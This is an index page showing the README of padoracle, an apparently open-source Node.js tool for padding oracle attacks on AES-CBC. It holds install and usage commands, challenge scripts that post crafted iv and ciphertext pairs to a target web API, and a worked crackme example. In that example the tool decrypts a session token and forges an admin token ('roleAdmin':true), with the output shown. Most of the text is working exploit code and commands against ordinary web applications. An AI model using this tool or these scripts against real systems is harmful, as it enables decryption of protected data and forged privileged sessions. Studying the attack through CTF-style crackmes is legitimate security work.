Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/imyelo/padoracle

Padding Oracle Attack with Node.js
https://github.com/imyelo/padoracle

aes attack buster cbc exploit oracle pad padding padding-oracle-attacks pkcs7 pkcs7padding ssl tls

Last synced: about 1 month ago
JSON representation

Padding Oracle Attack with Node.js

Awesome Lists containing this project

README

        

# Padoracle
> Padding Oracle Attack with Node.js

[![Build Status](https://travis-ci.org/imyelo/padoracle.svg?branch=master)](https://travis-ci.org/imyelo/padoracle)
[![npm](https://img.shields.io/npm/v/padoracle.svg?style=flat-square)](https://www.npmjs.com/package/padoracle)
[![license](https://img.shields.io/npm/l/padoracle.svg?style=flat-square)](./LICENSE)
[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](http://makeapullrequest.com)

## Features
- :video_game: Friendly CLI
- :electric_plug: Powerful API
- :unlock: **Crack** plaintext, with just one set of known iv (initialization-vector) and ciphertext
- :lock_with_ink_pen: Generate iv and ciphertext with any **modified** plaintext you want
- :floppy_disk: Programmable challenge script
- :dancers: Ultra-fast cracking, with unlimited concurrency

## CLI
### Installation
```bash
npm i -g padoracle
```

### Usage
#### Crack-Mode
Crack plaintext with a set of known iv and ciphertext:

```bash
padoracle --size 16 --iv-cipher
```

#### Modify-Mode
Generate a set of iv and ciphertext with specific plaintext:
```bash
padoracle --size 16 --plain
```

### Options
#### Common Options
- `challenge-script`

A script which sends the decryption challenge to the target system.

- `--size, -s`

Size of each block (in bytes).

- `--help, -h`

Show the help text.

#### Crack-Mode Options
- `--iv-cipher`

An iv-cipher pair which can pass the padding check (with base64 encoded).

- `--concurrency, -c`

Concurrency, Infinity by default.

#### Modify-Mode Options
- `--plain, -p`

Target plain text.

### Challenge Script
When using Padoracle, you always need a challenge-script, which is a straightforward [ESM](https://github.com/standard-things/esm) script.

The challenge-script has to expose a default member, which is a function that accepts a set of iv and ciphertext, also returns `false` if decryption fails, otherwise `true`.

For example, in the most common scenario of attacking web applications, we can write a script like this:

```javascript
const got = require('got') // You need to install dependencies manually.

const API = `http://somewebsite/someapi` // The API that invokes decryption.

const DECRYPTION_ERROR = 'DECRYPTION FAILED' // The message returns by the webapp when decrypting failed.

const challenge = async (iv, cipher) => {
let response = await got.post(API, {
body: Buffer.concat([iv, cipher]).toString('base64'),
}).catch((error) => error.response)
if (response.body === DECRYPTION_ERROR) {
return false
}
return true
}

export default challenge
```

See more complete scripts in [the examples](./examples).

### Examples
Suppose there is a program to be attacked, which we call [the Crackme](./examples/0.node/crackme/index.js).

The Crackme provides two API —— `welcome()` to get a default token and `auth(token)` to verify administrator privileges.

Tokens are values encoded in Base64 after concatenating iv and ciphertext.
By decrypting this ciphertext with **AES-256-CBC** algorithm and this iv, the Crackme will get a JSON serialized session, which also means that the size of each block in the plaintext, iv, and ciphertext is all **16** (256/16) bytes.

When we have administrator privileges, `auth(token)` API will return a secret data (`{FLAG}`) to us. Otherwise, that will return nothing.

Also, if there is an exception while decrypting token, the Crackme will throw an error, which is just the characteristic of [the Padding Oracle vulnerability](https://en.wikipedia.org/wiki/Padding_oracle_attack).

**Our ultimate goal here is to get this secret data (`{FLAG}`).**

For example, with the `welcome()` API here, we always get the same token value `'UGFkT3JhY2xlOml2L2NiYyiFmLTj7lhu4mAJHakEqcIIoYU0lIUXKx+PmTaUHLV0'`,
which is concatenated by iv (``) and cipher (``) after base64 decoded.

According to [the protocol](#challenge-script), we write a [challenge-script](./examples/0.node/challenge.js) accepts a set of iv and ciphertext, which returns `false` when decrypting failed, otherwise, return `true` no matter the final session is valid or not.

```javascript
const crackme = require('./crackme')

const challenge = async (iv, cipher) => {
try {
await crackme.api.auth(Buffer.concat([iv, cipher]).toString('base64'))
} catch (error) {
return false
}
return true
}

export default challenge
```

Easy, huh?

Then we use our CLI tools to crack the plaintext that this iv-ciphertext encrypted.

```bash
padoracle ./examples/0.node/challenge.js --iv-cipher UGFkT3JhY2xlOml2L2NiYyiFmLTj7lhu4mAJHakEqcIIoYU0lIUXKx+PmTaUHLV0 --size 16
```

In a few minutes later, we will get the result:

```
----- Block 0 -----
Intermediary (0) : 2b|43|0d|2b|50|5b|52|5c|55|16|4b|04|40|0f|07|22
--------------------
----- Block 1 -----
Intermediary (1) : 4c|e8|f1|da|c1|d4|3e|0f|8e|13|6c|60|ad|00|ad|c6
--------------------
--------------------
Plain text: {"id":100,"roleAdmin":false}
Plain text (hex): 7b226964223a3130302c22726f6c6541646d696e223a66616c73657d04040404
```

Now we know that the default session is `{"id":100,"roleAdmin":false}`.

Based on the structure of this session, we can determine that the next goal is to set the value of `roleAdmin` to `true`, such as `{"roleAdmin":true}`.

So, let's do it:

```bash
padoracle ./examples/0.node/challenge.js --size 16 --plain "{\"roleAdmin\":true}"
```

In a few minutes later again, we will get the result:

```
IV (hex): ff291b394b7c56f3f964d3cf2fad0dbb
Cipher (hex): ecacc85b787f9777864b39fff50d5314ffffffffffffffffffffffffffffffff
IV-Cipher (base64): /ykbOUt8VvP5ZNPPL60Nu+ysyFt4f5d3hks5//UNUxT/////////////////////
```

Let's verify the results. Create a [`flag.js`](./examples/0.node/flag.js):

```javascript
const crackme = require('./crackme')

const TOKEN = '/ykbOUt8VvP5ZNPPL60Nu+ysyFt4f5d3hks5//UNUxT/////////////////////'

;(async () => {
let result = await crackme.api.auth(TOKEN)
console.log(result)
})()
```

Run it:

```bash
node ./examples/0.node/flag.js
# {FLAG}
```

We did it! :tada:

See [more examples](./examples).

## API
### Installation
```bash
npm i --save padoracle
```

### Usage
Crack plaintext with a set of known iv and ciphertext:

```javascript
const Cracker = require('padoracle')
const pkcs7 = require('pkcs7')
const got = require('got')

const API = `http://somewebsite/someapi` // The API that invokes decryption.
const DECRYPTION_ERROR = 'DECRYPTION FAILED' // The message returns by the webapp when decrypting failed.

const challenge = async (iv, cipher) => {
let response = await got.post(API, {
body: Buffer.concat([iv, cipher]).toString('base64'),
}).catch((error) => error.response)
if (response.body === DECRYPTION_ERROR) {
return false
}
return true
}

const iv = Buffer.from('5061644f7261636c653a69762f636263', 'hex')
const cipher = Buffer.from('288598b4e3ee586ee260091da904a9c208a185349485172b1f8f9936941cb574', 'hex')

let result, plain

let cracker = new Cracker()
result = await cracker.crack(iv, cipher, challenge)
plain = pkcs7.unpad(result.plain).toString()

console.log(plain)
```

Generate a set of iv and ciphertext with specific plaintext:

```javascript
const Cracker = require('padoracle')
const got = require('got')

const API = `http://somewebsite/someapi` // The API that invokes decryption.
const DECRYPTION_ERROR = 'DECRYPTION FAILED' // The message returns by the webapp when decrypting failed.

const challenge = async (iv, cipher) => {
let response = await got.post(API, {
body: Buffer.concat([iv, cipher]).toString('base64'),
}).catch((error) => error.response)
if (response.body === DECRYPTION_ERROR) {
return false
}
return true
}

const target = '{"roleAdmin":true}'
const size = 16

let cracker = new Cracker()
let { iv, cipher } = await cracker.modify(target, size, challenge)
console.log(iv, cipher)
```

See more examples in [tests](./test) .

### Cracker
- Cracker#crack(iv, cipher, challenge)
- return `{ intermediary, plain }`
- Cracker#modify(target, size, challenge)
- return `{ iv, cipher }`
- Cracker#broadcast

## References
- [Padding Oracle Attack](https://en.wikipedia.org/wiki/Padding_oracle_attack)
- [DDCTF 2019 Web 8](https://yelo.cc/2019/04/17/ddctf-2019-writeups-web-8.html)

## License
[Apache-2.0](./license) © [yelo](https://github.com/imyelo)